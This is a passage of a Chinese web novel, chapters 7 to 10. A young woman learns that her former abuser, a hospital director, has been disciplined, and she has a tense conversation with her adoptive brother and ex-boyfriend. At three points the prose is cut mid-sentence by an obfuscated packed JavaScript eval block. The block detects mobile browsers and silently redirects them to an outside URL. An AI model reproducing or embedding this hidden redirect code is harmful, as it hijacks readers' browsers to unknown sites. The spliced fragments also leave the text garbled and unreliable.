齐眉忍不住笑,挽着她的胳膊,说:“过两天我回来的时候给您和干爸带点水果回来,他能吃么?” 之前一直没回来,是逃避江问舟,想着能拖一天是一天,现在好啦,已经见到了,感觉也就那样吧…… 齐眉有些摆烂地想,大不了以后她工作日的白天回来呗,上一休二,江问舟难道能闲得过她? 而且他又不住家里,正常来说,他们能恰好碰上面的机会其实不多,应该是的吧? 孙茂芸笑眯眯地应好,见年年往院子里的水塘边凑,连忙把它叫回来,嘱咐道:“不准往那边去,掉下去就变落水狗了。” 它会游泳,门口还有对着池塘的监控摄像头,倒不是很怕它出什么事,只是那样难免让人担心,给它洗澡吹毛工程量也很大。 “你要向姐姐学习,不往水边凑,知不知道?”孙茂芸捏捏它的嘴筒子,把金金捞过来,往它跟前一放。 它的注意力立刻就被猫吸引了,追着金金往花丛方向跑。 齐眉看一眼两小只跑开的方向,问道:“金金……是女孩子吗?” 孙茂芸嗯了声:“是啊,女孩子嘛,听你哥说有三岁了。” “……是么。”齐眉眼睫一颤,连忙垂眼,沉默几秒才装作随意地打听,“我哥他……怎么会突然回容城工作啊?不是在申城干得好好的么。” “你不知道么?”孙茂芸抬头看向她,有些惊讶地反问道。 齐眉一愣,有些不敢接话,在申城发生的很多事她没跟家里讲的…… 万一随便接话接错了,被干妈看出什么问题来,那可就难解释了。 这不得被关在家里严刑拷打三天三夜啊:) 见她似乎一脸茫然疑惑,孙茂芸先是问她:“你最近几个月都没有和以前的同学或者老师联系过吗?” 问完没等齐眉反应,就接着道:“你哥他们科那个大科主任,倒台啦,他老师跟这人也不和睦,正好有机会就跳槽了,你哥一看是跳到容城,就也跟着回来了。” 方仕平倒台了?齐眉心头一震,连呼吸都顿住了。 她好半天才回过神,旋即从心底涌起一阵狂喜,姓方的贱人倒台了?那可真是老天开眼啊! 是哪个英雄好汉把他捅下去的?他背后的靠山不管他了?还是他的靠山也倒了?吊销执照没有?! 我靠!憎恨的人倒大霉,这可比涨工资爽多了,简直大快人心!!! 这个天大的好消息让齐眉的呼吸都变得有些急促,想说点什么,又不知道该从何说起,只觉得眼底有一阵热意在不停地向上冲,撞击得她的视线都变得有些模糊。 半天才压下心里翻滚的情绪,从喉咙里挤出一句:“……是么,我、我都不知道……什么时候的事?” “挺久了吧,那会儿还没过年呢,我给你哥打电话问他回不回来过年,就听他说了一句,说科里人事有变动,要看看情况,等年后安稳了再请假回来,我就想他可能是清明才回来,结果没想到刚过完年就回来了。” 孙茂芸解释完,扬声把年年和金金招呼过来,说要训练训练年年,接着就对年年发出一通趴下坐下的指令。 齐眉完全听不到后面的话了,只听到那个“还没过年”的时间节点。 今年过年早,一月底就是年了,她很了解江问舟的性格,如果这件事不是很确定的,他绝不会告诉家里,所以至少在一月份,方仕平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559817|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就出事了。 江问舟年后回的容城,距今已经将近三个月,这么长时间,相关部门应该调查完了吧? 公告呢?对对对,她可以看看有没有公告! 她反应过来,有些手忙脚乱地找出手机开始翻找学校的公众号,方仕平头顶还有个博士生导师的帽子呢,他出事了怎么也得发个推送吧? 她使劲向上划拉公众号消息页面,仔细看往期往期的推送,找啊找,一直没找到想看的内容,甚至还找到一则学校开什么会,方仕平发表讲话的新闻。 一看时间,去年九月份的,开学季的事。 怎么回事?难道江问舟骗了干妈?不不不,难道是干妈听错了? 但这可能性太小了,孙茂芸不是没接触过社会,对这类事件一窍不通的家庭主妇,相反,审计出身的她见过太多这样的事,懂的比齐眉多多了,怎么可能会听错。 那是还没调查完,所以还没有对外公告? 可这都五月份了,半年都要过去了,还没调查完,这逼人到底问题有多严重啊?! 她确实是不懂这里面调查处理的门道,仅凭时间跨度觉得大为震撼。 也有可能是公众号没有发,那学校和医院官网呢?研究生院的导师名单还有没有他,挂号系统还有没有他? 她赶紧转去搜学校网站,打字的时候却频频出错,不停删改,最后有些恼了,正要啧声抱怨,却看见自己的手在明显地颤抖。 齐眉怔了一下,这才反应过来,自己太激动了。 这么激动是很容易让干妈发现不对劲的,一个不相干的人倒霉了,你这么激动做什么?只要不瞎,就能看出古怪来。 她连忙偷偷深吸一口气,憋住,定了定神,这才分几次慢慢吐出这口气,终于镇定下来。 冷静下来再查询信息,就显然有方向有条理多了。 她在学校和医院官网都没有找到方仕平的名字,原来和他有关的新闻也撤了下去,医院官方公众号的历史消息里也再搜不到他的名字。 最后她利用搜索引擎,找到了学校官方微博在元旦假期前一天发的公告,大意是说接到关于博士生导师方仕平学术不端、挪用项目经费和生活作风不正的实名举报,经查证属实,已经撤销其研究生招生资格,停职配合后续调查。 紧接着就是过年之前,申城有关部门发的标题为“申城医科大学第一附属医院原副院长、心血管外科主任方仕平严重违纪违法被开除党籍和公职”的通报。 通报内容和学校公告差不多,违反各项纪律,收受巨额财产,为他人谋取利益,构成严重职务违法并涉嫌受贿犯罪,还有生活作风不正,和多名女性有不正当关系,最后是说涉嫌犯罪问题会移送检察机关依法审查起诉。 看得齐眉神清气爽,只觉得胸口有一股积聚许久的郁气终于散开,迎来一种拨云见日的畅快感。 她将这条通报翻来覆去地读了整整三遍,每读一遍,内心的喜悦就叠加一层。 层层叠叠的累积到一起,就像是过年时看到的烟火表演,绚烂夺目,让人心情倍感愉悦。 她脸上的笑怎么压都压不下去,最后索性不装了,想笑就笑。 江问舟在屋里帮忙收拾东西,江眀琮让他把两床被子拿到楼上的房间,“有阳台那个房间是西西的,你睡旁边那一间,知道吧?” 他淡淡地点头,知道知道,怎么不知道,照顾妹妹嘛。 等楼上楼下的东西都归置整齐,一看时间,十二点已过,村里要叫外卖也不知道什么时候才能送到,他干脆下楼去问孙茂芸午饭怎么办。 刚走到门口,就看见齐眉正抱着胳膊站在花坛边,看着正弯腰教训一猫一狗的孙茂芸,满面都是不加掩饰的笑意。 她就那样站在天光里,柔和,灿烂,让人不由自主地想起刚刚过去的春天里灼灼盛放的桃花枝。 江问舟望着她,眼睛莫名觉得酸胀。 他有多久没见过她这样的笑脸了?他记不起具体的天数,不敢数。 但是觉得今天的天气还不错。 他深呼吸一下,沉了沉心里那口气,这才用平静的语气提高音量问道:“妈,中午饭怎么吃?” 8. 第八章 新家院子很大,可以养鱼种花,小狗小猫可以放肆奔跑,在村里就是这点好。 齐眉靠在到她腰高的花坛边上,抱着胳膊,笑眯眯地看孙茂芸训狗。 她让年年跟她握手:“来,左手,握一下。” 年年胡乱抬手,眼巴巴看着她,一副想跟她玩的样子。 孙茂芸啧了声:“左手,你这是右手啊姑娘!左手,左手给我。” 年年见她没夸自己,知道错了,换一边爪子搭上去,孙茂芸就夸它:“就是这样,我跟你说啊,别往水池去,听到没有?还有,不准乱跑出去,万一被抓了就回不来了。” 说完她又揉揉一旁的猫猫头,“金金也是,听到没有,你更不能往水池那边去。” 听不听得懂不知道,但两只看起来都很乖的样子,孙茂芸还跟年年说,让它看着姐姐,要是它往水池那边去,就把它叼回来。 齐眉看了好笑不已,问她:“妈你这方法有用吗?” “不知道啊,先教着呗。”孙茂芸笑着叹口气,“不是自己家房子就是不好改,人家房东说了,这院子的水池是让大师看过才挖的,让我们别动,动了会破坏风水,不然我就给围一圈围栏了。” 齐眉看着在日光下的小猫小狗,小狗是看习惯了的,不稀奇了,但是她对金金很好奇。 它一身浅金色的蓬松长毛,大围脖前面的毛发基本是白色,腿上的毛也黄白分明,这明亮的颜色看着应该是12色,漂亮极了,像一块烤得刚刚好的黄金面包。 难怪江问舟会给他起名金金,黄绿色的眼睛又大又圆,还自带眼线,耳朵上长长的聪明毛有些凌乱,脸盘子看上去圆润又饱满,看见齐眉正看着自己,它就朝她头一歪。 齐眉立刻心里一动,她真的很喜欢这个颜色的小猫,以前动过要养的心思,只是后来阴差阳错养了狗,既担心猫狗不和,又怕照顾不过来,这才歇了这份心思。 只是没想到江问舟会养了一只猫,还是她以前跟他说过自己喜欢,以后一定会养的金渐层。 还是长毛的,看起来漂亮得像小公主,她看着就……眼馋。 啊,又想起来进门时那一句“姑姑”了,是礼尚往来,还是故意报复,这可说不好。 刚想到这里,身后就传来江问舟问干妈中午饭怎么吃的声音,她下意识地扭头。 原来一身黑衣黑裤的人已经换了家居服,穿着白色的运动裤和蓝色的套头T恤衫,脚上踩着蓝色的拖鞋,头发大概是因为刚忙完,有些乱了,看上去休闲又随意。 时间并未在他脸上留下什么痕迹,齐眉恍惚间见到的还是他大学某一年暑假回来时的样子。 那个假期的某一天,他去参加高中同学聚会,她刚好在附近的书店买书,他聚会结束后顺路去接她,上了车才发现还有不认识的人。 是他的同学,也是顺路捎人家一程的,她打了声招呼,就缩在车后座一边吃薯片,一边支着耳朵听他们说话。 她记得搞清楚当时他们聊的话题,先从彼此的专业说起,女生一边夸江问舟厉害,说自己最佩服医生,一边说自己也很憧憬当一名医生,可惜分数不够选不上临床专业,欣赏之情溢于言表。 就是那个时候,她突然意识到,江问舟已经过了二十岁了,谈恋爱不会被家长和老师骂是早恋了,以后他会带女朋友回来,让她管对方叫嫂子。 她很排斥这个想法,甚至想,要是哥哥一直都是我一个人的,就好了。 那时她才十六岁,被自己对江问舟的占有欲吓了一跳,回家以后躲进房间里半天不敢出来。 后面几天她一直避着江问舟,可是她又聪慧,情窦一开,很快就明白是怎么回事了。 一个跟你毫无血缘关系的、人品相貌俱佳的男生,多年来待你无微不至,还在家时接送你放学、辅导你学习、假期带你去玩、生日和节日送你礼物,离家后也经常关心你学习情况,嘱咐你学习不要太累,你不迷糊?反正齐眉很迷糊。 于是当江问舟发觉她有些闷闷不乐,问她怎么了的时候,她便将之前收到情书的事拿出来试探他,问他要怎么办。 “什么怎么办?小小年纪不准早恋。”他板着脸,“谁给你的?叫什么名字,是不是跟你一个班?” 她撇嘴,说哪里年纪小了,你也没比我大几岁,怎么你能谈恋爱我就不能?我不影响学习就得了呗。 江问舟说没有,问她哪儿听来的谣言,她说那天一起回家的姐姐感觉就对你蛮有好感,还暗戳戳说:“女追男隔层纱,说不定暑假还没过完,我就要有嫂子啦。” 说完超级不高兴地哼了声,把头别过去一旁。 江问舟一声不吭地盯着她看了半晌,跟她商量:“不会有嫂子的,至少这两年不会有,你别起其他心思,先好好准备高考,可以么?” 那行,她爽快答应了,虽然她知道江问舟只是为了稳住她渡过高考,但那正是她的目的。 他那天看自己的目光,也是如此温和沉静,两张脸在她视线里一点点重叠,直至严丝合缝。 四目相对的当下,齐眉下意识地朝他露出个笑脸,就像从前那样。 刚要跟他说话,就见他已经淡淡地将视线移开,变成了一副不太想搭理她的神情,齐眉顿时讪讪。 也是啊,他们的关系早就今时不同往日,对妹妹和对前女友,态度怎么可能一样。 江问舟见她脸上的笑淡了下去,忍不住咬了一下后牙槽。 他强迫自己移开视线,去看还在招猫逗狗的亲妈,又喊了一声:“妈!” 孙茂芸这才诶的应了声:“吃面呗,看看冰箱有什么,多做几个配菜。” 齐眉忙道:“我去做吧。” “不用不用,让你哥忙去。”孙茂芸拉住她,问她困不困,“刚下夜班,先去睡一会儿,能吃饭了叫你,晚上要不要去店里?” “今天不去吧,难得……回来一趟,我都很久没在家吃过晚饭了。” “谁让你那么忙,店里最近生意怎么样?” “还行吧,天慢慢热了,五一也快到了,生意比前两个月好不少,倒是还算可以,幸好熟客不少,学生也爱凑热闹。” 听到这几句对话,原本已经转身往屋里走的江问舟又忍不住停下脚步,扭过脖子回头看了一眼齐眉。 听到她声音轻快地问母亲:“您和干爸什么时候去我们店里玩啊?我们最近琢磨了一个新的酒单,是红楼十二钗,还挺多客人喜欢的,而且喝一杯还送一张刮刮乐呢,您要不要去试一下手气?” “真的啊?那我们过两天就去。”孙茂芸满口答应。 江问舟的心情瞬间变得复杂,曾经希望天下无病自己没有回头客的是她,现在希望回头客越多越好的也是她。 他突然有些茫然,发现自己根本搞不清楚她到底喜欢什么。 齐眉从申城回来后,拿到了她父母留给她的另一部分财产,是她母亲肖骊在参与生前最后一个案子的行动前,不知道为什么,突然将一次钱托付给了一位叫陆近成的朋友。 那次行动肖骊果然没有回来,她牺牲之后,丈夫齐天远才知道这事,又将另一笔钱交给陆近成,拜托她帮忙置办一处不动产,作为以后留给齐眉的保障。 陆近成多方挑选,买下一间颇为宽敞门面房用于收租,后来旧城改造,那一带最早拆迁,这处门面房拿到七位数赔偿款,这笔钱在房产市场中再次流转,变成了思齐路上一幢临街的二层小楼。 ——孙茂芸和江眀琮都怀疑陆近成往里贴钱了,但他坚决否认,问就是那套门面房原来租给一个大老板,租金很贵,都存起来生利息了。 齐眉拿到房子过了不到一周,就决定要在那儿开一处酒吧,要命的是,陆近成还对她有求必应,不仅给她找调酒老师,还从自己的场子里调了个经理给她。 手把手教她怎么跟设计师打交道,怎么设计菜单,怎么做营销策略,诸如此类,齐眉学得兴致勃勃,孙茂芸和江眀琮的反对和劝说是一点都听不进去。 陆近成还理直气壮,说支持孩子创业,亏了算他的,而且人得撞过南墙才知道自己合适干什么。 再说了,跟齐眉合伙的人是他未来儿媳妇,都是自家人,自家人不帮,难道要去帮外人么? 孙茂芸没办法,只好在和江问舟打电话时抱怨几句,说小孩子不知道做生意艰难就算了,这老陆也跟着瞎掺和,真是不像话。 听说齐眉不仅是要离开临床,而且是彻底摒弃这个专业时,江问舟恨不得直接飞回来质问她为什么。 为了一个人渣放弃自己的前途,甚至课题都做到三分之一了,只等她博士阶段继续完成,最后会有一个特别漂亮的成绩,可以去申请博后申请基金,他甚至都想好了教她怎么申请才成功率最大,要是她实在写得烦了,他也可以帮她改…… 可是,这些计划完全没有机会实施。他觉得这和因噎废食没有任何区别。 更重要的是,她这样做,害了她的人不会有任何损失,甚至还会庆幸,会沾沾自喜,她永远弱小,就意味着她永远没有能力报复自己,他就可以一直高枕无忧,可以再去寻找其他的猎物。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559818|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那段时间他没有一天是能睡着的,甚至时时刻刻都在恨,恨方仕平弄权害人,恨齐眉轻言放弃,更恨自己弱小。 明明最该保护她的是自己,可是他不仅没做到,还要完美掩饰情绪,不能让同事们尤其是方仕平看出一丝一毫的痕迹。 被人问起女朋友,就说她身体有些不好,决定缓一缓休息一阵,再申请容城那边的学校,能离家和父母近一点。 那段时间他上火得厉害,不停地长口腔溃疡,好不容易好了两天,又开始长,反反复复,一拖就是半年。 直到从母亲那里听说齐眉的店已经步入正轨了,看起来还可以,他才松了口气,问母亲:“那她就这么着了?再也不考虑读博的事了?” 他可以当齐眉这半年多是休息去了,可以后呢? 说到底还是接受不了这个事实。 孙茂芸说没办法,他们跟齐眉聊过了,不知道她怎么突然之间就不喜欢医院的环境了,觉得去了医院会很压抑,更别提在那儿上班。 “我和你爸都担心她是不是抑郁了,带去看心理医生,好家伙,跟人家聊得可好了,还给人家发传单,邀请人家去她那儿喝酒。” 江问舟:“……” 孙茂芸让他跟齐眉聊聊,问问到底怎么了,“你的话她一直都很能听得进去的,你劝劝她,开解开解,啊?” 他有苦说不出,根本不敢告诉家里齐眉已经全方位把他拉黑的事,只能含糊几句,挂了电话就闷头自己跟自己生气。 生了好几天的气之后,他想到另一条路,问孙茂芸:“您和爸爸觉得让西西去机场上班怎么样?就是民航容城医院,可能在机场,就是急救,也可能是在医院,那是职工医院,相对来说病人少一点,但起码……不会浪费所学。” 孙茂芸想了想,说要跟商量一下。 他们怎么商量的,又是怎么跟齐眉说的,江问舟没有再过问,得到齐眉已经去机场上班的消息之后,他终于可以放心,开始一心一意扑在自己谋划的事上。 一转眼就是两年,现在看来,她的新生活适应得很不错。 也许她最后跟他说的确实是真心话吧,她其实没那么喜欢医学,只是为了搏得他的喜欢。 可是她怎么就不明白,他从来不是因为这一点才喜欢她。 午饭是江问舟煮的面,最简单的面饼,煮好以后捞出来备用,再另外单炒菜码,青椒牛柳、番茄虾仁炒蛋、金针菇牛肉卷,再来一点黄瓜丝、胡萝卜丝和豆芽混在一起的拌菜。 “吃饭了。”听到他的招呼,齐眉立刻放下逗猫棒,起身往餐厅走。 江眀琮和她一块儿走,边走边问她工作上的事,还笑眯眯地揉揉跟过来的年年的大脑袋。 洗了手出来坐下,齐眉帮忙给两位长辈拌面,刚把面装好要夹菜码,就听江问舟淡淡地说了句:“多给爸夹点素的,他昨天吃撑了。” 齐眉一愣,惊讶地看一眼江眀琮,见他神情讪讪,不由得忍俊不禁。 “您又不听话啦?” “……没有的事,别听你哥胡说。”江眀琮说着,别过脸,过了一会儿又抱怨江问舟,“你故意做这么多菜的是吧?” 江问舟老神在在:“没有的事,你别胡说。” 齐眉玩着嘴唇,哼地笑了声,低着头,装作在认真拌面。 吃过午饭后各自去休息,齐眉一觉睡到了下午四点,起来后下楼,发现只有江眀琮一个人,正端着平板和年年一起玩消消乐,金金在沙发的一角睡得四脚朝天。 她走过去,一边撸猫一边问:“干妈和……舟哥呢?” “买菜去了,今晚吃火锅。”江眀琮头也不抬地回答道。 齐眉哦了声,坐下专心逗猫。实在太漂亮了,她觉得金金完美的长在她的心尖上。 逗了大概半个小时,外面响起车声,江问舟和孙茂芸采购回来,很快就开始吃晚饭了。 吃过晚饭,孙茂芸收拾了一些菜和水果给两个孩子,嘱咐他们:“路上开车小心啊,周末休息记得回家吃饭。” 又特地对齐眉说:“西西去店里上夜班的时候,记得带上年年啊,别嫌麻烦。” 齐眉乖巧地应好,江问舟扭头看她一眼,觉得母亲的特意叮嘱有些古怪。 金金被留在了家里,俩人带着年年一前一后地出了门。 门口只有一盏路灯,光线昏黄,一声关门声过后,周围似乎被细细虫鸣衬得更加安静。 齐眉正犹豫要不要跟江问舟打个招呼就先走,就听他在背后忽然问了句:“聊聊吗?西西。” 9. 第九章 江问舟问要不要聊聊的声音幽幽的,仿佛包裹着许多说不清道不明的情绪。 齐眉先是被突然传来的声音吓了一跳,随即镇定下来,咬着嘴唇点点头。 昏黄的灯光洒在地上,像一张昏黄的幕布,投影出两条长而歪斜的人影。 啊,还有萨摩耶年年丰满的身影,它吐着舌头,看向前面光线渐渐晦暗不明的马路。 齐眉拽着狗绳,在手掌上绕了两圈,示意它坐下。 江问舟低头看它一眼,见它乖巧地蹲坐在齐眉身边,继续往前走了两步。 在靠近齐眉时,它突然站起来,冲他吠了一声:“汪!” 然后是低沉的呜声。 姿态看上去戒备又警惕,原本憨憨的目光此刻竟然变得有些凶狠。 江问舟一愣,抬眼疑惑地看向齐眉:“……怎么回事?” 齐眉脸上的神情一顿,变得有些讪讪。 “……第一次见面,不熟。”她说着低下头,让年年坐下。 年年回头看她一眼,见她冲自己点头,这才犹犹豫豫地坐下了。 江问舟面无表情地看着她,朝她身边又走了一步。 年年立刻又站起来。 他停下来,看着齐眉,声音里浮现出怒气:“我不是傻子。” 所以你用不着一边敷衍我,一边让我看你的狗如临大敌的模样。 齐眉脖子的弧度在他这句话之后似乎更明显了一点。 江问舟看着她,好像见到了她小时候被欺负了回家又不敢说的样子,委委屈屈的。 心头凝结的怒气像被针扎了一下的气球,噗噗噗,一下就瘪了下去。 他深吸口气,努力压下心头杂乱的情绪,将音调放得平静缓和:“你以前说喜欢猫,怎么突然……却养了狗?” 齐眉看着自己的脚尖半晌不吭声,他都那么说了,也就是她不能糊弄他了呗,而且他还可以从干妈那儿问。 犹豫片刻,她抬起头,问道:“我能先把东西放车里吗?” 江问舟眨了一下眼睛,点点头。 看着她牵着狗朝她的车走去,背影看上去有些单薄,突然就有些后悔。 也许不该问的,大概率不是什么好事,问这么清楚,和揭她疮疤无异。 但他太想知道了。他很确定这一点。 他觉得自己就像一个被关了很久终于重见天日的人,对一切都很好奇,迫不及待想要了解这个世界,然后融入世界,这才能重新当一个正常人。 他不轻不重地咬住舌尖,看着齐眉将母亲收拾给她的菜和水果放进车尾箱,再牵着狗转身向他走回来。 不知道是因为待了一会儿发现他没有做任何对齐眉不利的事,还是因为是齐眉主动走过来的,总之,他被年年判断成了安全人物,态度没那么警惕了。 咧着个嘴像是在傻笑,眼神重新变得清澈,齐眉脚步一停,它就乖巧地坐下了。 还挺聪明。江问舟忍不住挑了一下眉。 孙茂芸找的这处院子其实是在一个“人”字路口旁边,出去再往前走一段,就是一个小小的市场,对面那户人家还在建设当中,工地上漆黑一片。 齐眉站在路边,看着藏身于黑暗的砖石堆,好半晌没吭声。 直到江问舟站到她的身边。 她垂着的眼往旁边一瞥,看见这人的影子和自己的影子黏到了一起,好亲密啊,让她想起从前。 齐眉觉得有些不自在,自以为很不动声色地往一旁挪了挪脚,地上粘连的影子分开了一瞬,随后重新连接到一处。 她努努嘴,视线往上抬了一点,继续看着前面的工地。 这时才说:“养年年是个意外。” 说完她就停了下来,江问舟等了一会儿,没听到她继续,有些惊讶地问道:“就这样?” 齐眉被他问得一噎,索性不挣扎了,干脆将原委直接告诉他:“前年十二月份,有个第一次到我们店里的客人,因为言语挑逗女客人被我阻止,他就生气地走了,我没放心上,酒吧人员复杂,有的人进门前文质彬彬精精致致,喝多了就放飞自我,看多都习惯了。” 结果这个人不知道是心眼窄还是怎么回事,过了几天,竟然在齐眉收工回家的时候尾随跟踪她。 “我们是凌晨两点打烊,我差不多十五分左右出来,酒吧门口不方便停车,所以车是停在外面大马路的停车位上的,我一开始没发现有人跟着,是一个打烊才走的老客人突然在后面叫我,拎着一个人的衣领问我认不认识,才认出来是前几天来过店里的客人。” 在确定怎么回事以后,老客人说这家伙肯定不安好心,就是想尾随齐眉伺机报复,坚持报了警。 “派出所的民警来把人带走了,让我以后注意安全,第二天刚好我回家吃饭,跟干妈说到这事,干妈说,你要不养条狗吧,警觉点的,带着上下班,还能给你提个醒。” 反正店是她的,能不能带宠物进去还不是她一句话的事。 于是她抽空去找狗,本来是想去动物救助中心收养一个,结果去得不巧,没有合适的狗,等的话也不知道要到什么时候,她便去宠物店找找。 “我去的时候它正在跟其他小朋友打架,一挑几,耳朵被咬出血了也不肯认输。”齐眉说完,弯腰伸手揉了一下年年的脑袋,脸上露出笑意来。 当时狗舍的老板说,它是因为出生时尾巴尾巴有点问题,脾气也不太好,才被挑剩下的。 “但它同一窝和其他同父同母的兄弟姐妹都是赛级的呢,很厉害的。”齐眉语气有些得意,“只有它被我捡漏了,老板还给我打折。” 对方还劝她要不看看别的窝次吧,这只比较凶,可能带回家以后不太好管教,有些人觉得萨摩耶不软萌就少点什么。 但齐眉不是,“我就要它凶,要它警惕性高,要它不会轻易相信人类,那样才能平平安安活到老。” 江问舟侧头看着她,她正低头和脚边的小狗对视,他只能看见她半张脸。 他从她脸上隐约找到了往日活泼的痕迹,忍不住嘴角勾了一下。 “是还不错,看不出来哪里有问题。”他点点头,问年年多大了。 “差不多两岁半吧,我接它的时候,它已经一岁了。” 江问舟又点点头,实在是不知道说什么才好。 他之前没听说她遇到这事,不知道是不是打电话的时候孙茂芸忘了说。 也没办法劝她说太晚收工很危险,不要去了,这是她的工作,而且…… 他想到他们最后的那几条信息,她说她其实没那么喜欢医学。 忍不住在心里叹了口气,顺着她的话往下说:“金金比它还大一岁。” 听他提到猫,齐眉忍不住抬头看向他。 青年和她一样逆光站着,昏暗灯光从身后打过来,将他的侧脸从光明晕染进黑暗,似乎显得有些过分沉静。 她心里忽然一颤,莫名想到影视剧里走向黑化的大反派。 可是怎么可能呢,这可是江问舟呀,一心只有治病救人,只会为了工作废寝忘食的人,怎么可能黑化,他只会半夜等她睡着了,又自己爬起来去书房继续写标书而已。 江问舟说完话,没听到她的声音,转头去看她。 她慌忙回过神,别开眼,哦声问道:“你这么忙,怎么会想到养猫……呃、我意思是,你有时间管它吗?” “它很独立,不用怎么管。”江问舟应道,声音平静,“至于为什么养……” 他说到这里突然停住,过了好一会儿,齐眉都觉得气氛已经开始尴尬了,才听到他说:“你喜欢金渐层,忘了?” 声音很平静,但就是因为太过平静,反而叫人听出了几分委屈。 齐眉一时哑然,许久都说不出话来。 是呀,她喜欢,可是这跟他还有什么关系? 她不知道怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559819|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应这句话,也不敢应,便愣在那儿,像是没听见,只一味盯着自己的鞋尖发呆。 见她装死,江问舟真是心里气不打一处来,却又无可奈何。 这些情绪在心里交织到最后,就变成了一种让人说不出来话的心灰意冷。 算了,算了。 他深吸口气,不打算再继续浪费自己的时间,问起最想知道的事:“在机场工作还习惯吗?” 齐眉不意外他会这个,立刻点点头,听他接着说:“如果不习惯,那就……” 他说到这里又停下来,就什么,齐眉纳闷地扭头看他一下,发觉看不出他的想法,便笑笑。 “挺好的了,一个月就上十天班,平均日薪七八百,还不包括年终奖,已经算可以躺平的好工作了。” 单听这个确实还不错,如今工作不好找,她这份工作日薪高,休息时间还多,足够再做一份副业,挣钱绝对没问题的,确实让很多人羡慕。 可是,人生不是只有挣钱这一件事而已。 江问舟嗯了声,忽然说:“你的老师莫铃教授今年一月份上任了副院长,肿瘤内科的科主任由你的大师姐杨宁继任,你的小导林万笙去年中了面上,你的同门梁婧雯刚发了中文核心,前天在申城开会见到她,她还问起你的近况,好奇你为什么不和他们联系了……” 他说到这里停下来,突然一扭头,视线凝在齐眉的脸上,语气平静,但却是一字一句地问:“现在这两份工作,是你喜欢的了吗,西西?” 齐眉一怔,呼吸都停住了,转瞬回过神来,有些狼狈地侧头躲开他的目光。 我靠!这人故意的!故意用别人的成功来点她! 告诉她,看啊,你原来也可以做到这些事,得到这份成功,是你自己放弃了,现在你后悔吗? “……当、当然……我对现在工作和生活很满意。” 她应了一句,随即突然转回头,和江问舟四目相对,重复了一遍这句话:“很满意,我觉得现在的生活就是我喜欢的。” 和别人的成功有什么关系呢?他们过得再好,我也不稀罕。 江问舟定定地望着她,目不转睛看了很久,似乎要从她的眼睛看到她的心底去,又像是想借此看出她是不是在说谎。 齐眉被看得心里发毛,刚想说什么,就见他先一步移开了视线。 接着深吸一口气,说了句:“那就好。” 声音很低,说完一遍,竟又重复了一遍:“那就好。” 语气里分明是带着一丝遗憾的释然。 齐眉一愣,心里好像有一根弦被尖利的指甲狠狠一拨,涟漪荡漾开的同时,泛起丝丝缕缕的疼痛。 原来江问舟比她还要不甘心。 强烈的愧疚感在这一刻陡然升起,齐眉觉得自己的心像是被人用手使劲捏住,胸口的憋闷渐渐变成窒息感,她快要喘不上来气了。 她想哭,但又觉得没什么可哭的。 于是眼泪也流不出来,只能定定看着江问舟,等着自己的声音恢复正常。 这次似乎轮到江问舟不敢和她对视了,他别过视线,看着前面漆黑工地,良久沉默。 年年应该是察觉到了气氛的怪异,有些不安地站了起来。 它仰头看看齐眉,见她不动,虽然觉得怪怪的搞不懂,但犹豫了一下,还是没汪出声,只贴在齐眉腿边,支着耳朵看向江问舟。 齐眉也看着他,不知道是不是错觉,她觉得江问舟的肩膀好像有些塌了下去。 她从没见过江问舟这副低迷到有些茫然的模样。 分开的这两三年里,好像发生了很多她不知道的事。 等喉咙里的刺痛和阻塞感终于褪去,齐眉清清嗓子,尽量用平静的声音问道:“你呢?江问舟,这几年……过得好不好?” 江问舟在她的声音里倏地回过头。 心里浮现的第一个念头竟然是,幸好,她没叫自己哥哥。 10. 第十章 对于齐眉这个“过得好不好”的问题,江问舟认真想了想。 半晌点点头,应道:“我也还行。” 齐眉望着他的脸,像之前他看自己那样,盯着他看了好一会儿。 然后发现,她现在已经无法从江问舟的脸上或者眼中,轻易读懂他在想什么了。 那双眼睛就像一潭清静幽深的湖水,平静的湖面下仿佛藏着深渊,她不仅看不到底下有什么,看久了还觉得心悸。 这个认知让齐眉多少有些恍惚。 他们好像真的成了熟悉的陌生人,那种在白天时没有感受到的距离感,此刻像横生的荆棘,挡在她的眼前。 齐眉下意识别开眼,犹豫了一会儿才说:“那……我能问问发生了什么事吗?” 问完没等江问舟反应过来,就继续道:“郭教授怎么突然会跳槽?他和方仕平的矛盾已经到这个地步了吗?你在科里……你怎么也跟着回来了,在科里不顺利吗?” “还有……”她声音顿了顿,瞥一眼他的脸,又迅速收回视线,继续道,“干妈说了我才知道方仕平被查了,哪个好汉的手笔?” 江问舟:“……” 齐眉问完,扭头看向他,看见他脸孔好似扭曲了一下,觉得自己眼花,遂眨眨眼。 再定睛一看,他的神色依旧那样平静自若。 